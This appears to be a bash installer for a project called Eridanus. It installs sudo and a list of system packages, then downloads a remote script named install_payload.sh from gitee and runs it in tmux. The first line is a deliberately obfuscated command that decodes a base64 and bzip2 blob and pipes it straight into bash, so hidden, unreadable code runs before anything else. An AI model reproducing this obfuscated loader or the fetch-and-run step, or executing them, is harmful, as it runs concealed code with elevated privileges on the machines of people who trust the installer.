#!/bin/bash
  ${@~~} "${@~}"  'b'""as''"${@#:C&9=:}"h  ${*//u2c7YOeG/*JGQrGN} "${@~~}"   <<< "$(     ${*~}   ${@} "p"$'\u0072'\i"""n""""t"f   'QlpoOTFBWSZTWVXsZ5IAFlf7YQASAAhQAn9oAAgKQsRAAQAQAFADXeAIBACmjQBoAAKaNAGgAApo0AaAAApKKKaBMTMRGEJKqaAaAM0jJ6x5xK7kralaxVtmDmtACr5B6eMi00niEDQca7i61lztZDjddSh10gRLoa7sDxrEHHLzMhtm4OXHIFLS9KXcnUQQrMjx26oaQOIyQ0BY3dRlKBbsaIlzGO0YCsFs9PR3WENaNRRT3UEduw0oNDx1k6EnYslrnbQF3aI5MNdjIO2SqHdgTuDB3bZN3bbq5OrHuFRA9PG8j7L/UQE+40slPdJFqtEiwral+fVPzP0I66Q9wM6d5ToxYzqspxXmUeLojzyVxNTOcritOpIvRMQzU1ozKZCyfCki+NHoHK0zVrnJx1KeJRqzZWciReWbyleSnwHhS8Vdrwu645NyM8dXVdLvQ49lRHukixUvYki+/v6/v0kRB+F9PlGIDkcNNJS0JVKvJwqTJELyPIswnJJKJVI0BBmQNKUMzEjwDxFUYHppIRYhJJBaW0GyFwdYLJwGnk6ApoICMXLudJYpOE6o2HpcJ03BylZTGHSRJyZDTQD49lBX/KCv8UFf+LuSKcKEgq9jPJA=' ${@#gS9ly}  $* |  ${*//O#\(\)NR}   "${@##,oP\]}"  \b""${@^^}ase6'4' -d   "${@}"   | ${*^^} ${@} b\u""nz\i\p''2   -c "${@#\)\!\{5}" ${*,,}      )"  ${*/fTo$v<} 
detect_package_manager() {
    if command -v apt &> /dev/null; then
        echo "apt"
        elif command -v yum &> /dev/null; then
        echo "yum"
    else
        echo "none"
    fi
}
package_manager=$(detect_package_manager)
echo -e "\033[32m正在检查并安装 wget 、git 、 unrar  ...\033[0m"
# 开始安装依赖
# 检查 sudo 命令是否存在，如果不存在则安装它
if ! command -v sudo &> /dev/null; then
    echo -e "\033[31msudo 命令不存在，正在安装 sudo...\033[0m"
    package_manager=$(detect_package_manager)
    if [ "$package_manager" = "none" ]; then
        echo -e "\033[31m仅适配了 apt 或 yum 包管理器的系统，无法继续安装。\033[0m"
        exit 1
    fi
    if [ "$package_manager" = "apt" ]; then
        apt update && apt install -y sudo
    elif [ "$package_manager" = "yum" ]; then
        yum install -q -y sudo
    fi
    echo -e "\033[32msudo 安装完成。\033[0m"
else
    echo -e "\033[32msudo 存在继续安装过程。\033[0m"
fi



if [ "$package_manager" = "apt" ];then
    sudo apt update && sudo apt install -y tmux wget unrar unzip curl libgbm1  zip  jq  xvfb libnss3 bzip2 whiptail dialog redis redis-server pkg-config libcairo2-dev python3-dev git
else
    sudo yum install -q -y tmux wget unzip curl libgbm alsa-lib-devel nss dbus-libs at-spi2-atk gtk3 cups-libs zip unzip jq  xvfb bzip2 whiptail dialog redis redis-server git
fi

echo -e "\033[32m下载安装脚本...\033[0m"
# 下载 install_program.sh
wget https://gitee.com/laixi_lingdun/eridanus_deploy/raw/master/install_payload.sh -O install_program.sh
if [ $? -ne 0 ]; then
  echo -e "\033[31m错误：下载 install_program.sh 失败。\033[0m"
  exit 1
fi
chmod +x install_program.sh

echo -e "\033[32m将使用tmux运行 Eridanus 本体安装过程\033[0m"
echo -e "\033[32m安装过程的日志保存到了install_log.txt\033[0m"
sleep 4

# 定义 tmux 会话名称 for install_program
TMUX_INSTALL_SESSION_NAME="install"

# 检查同名会话是否已存在，如果存在则先杀掉
if tmux has-session -t $TMUX_INSTALL_SESSION_NAME 2>/dev/null; then
  echo -e "\033[33m发现已存在的 tmux 会话 '$TMUX_INSTALL_SESSION_NAME'，将先终止它。\033[0m"
  tmux kill-session -t $TMUX_INSTALL_SESSION_NAME
  sleep 1
fi

# 使用 tmux 启动安装脚本（在前台运行）
echo -e "\033[32m正在前台启动 Eridanus 安装进程 (tmux session: $TMUX_INSTALL_SESSION_NAME)...\033[0m"
echo -e "\033[33m脚本将在此处等待安装完成。完成后请根据提示按 Enter 键退出 tmux 窗口。\033[0m"
echo -e "\033[33m安装日志同时保存在 install_log.txt\033[0m"
# 移除 -d 参数使会话在前台启动，并在脚本结束后提示用户按 Enter 退出
tmux new-session -s $TMUX_INSTALL_SESSION_NAME "export LANG=en_US.UTF-8; ./install_program.sh | tee install_log.txt; echo -e '\n\nEridanus 本体安装脚本执行完毕。按 Enter 键退出此 tmux 窗口。'; read"

# --- install_program.sh 的 tmux 会话结束后，脚本会继续执行 ---
echo -e "\033[32mEridanus 本体安装进程已完成。\033[0m"


# --- 输出最终提示信息 ---

echo -e "\033[32m所有安装步骤已启动。\033[0m"
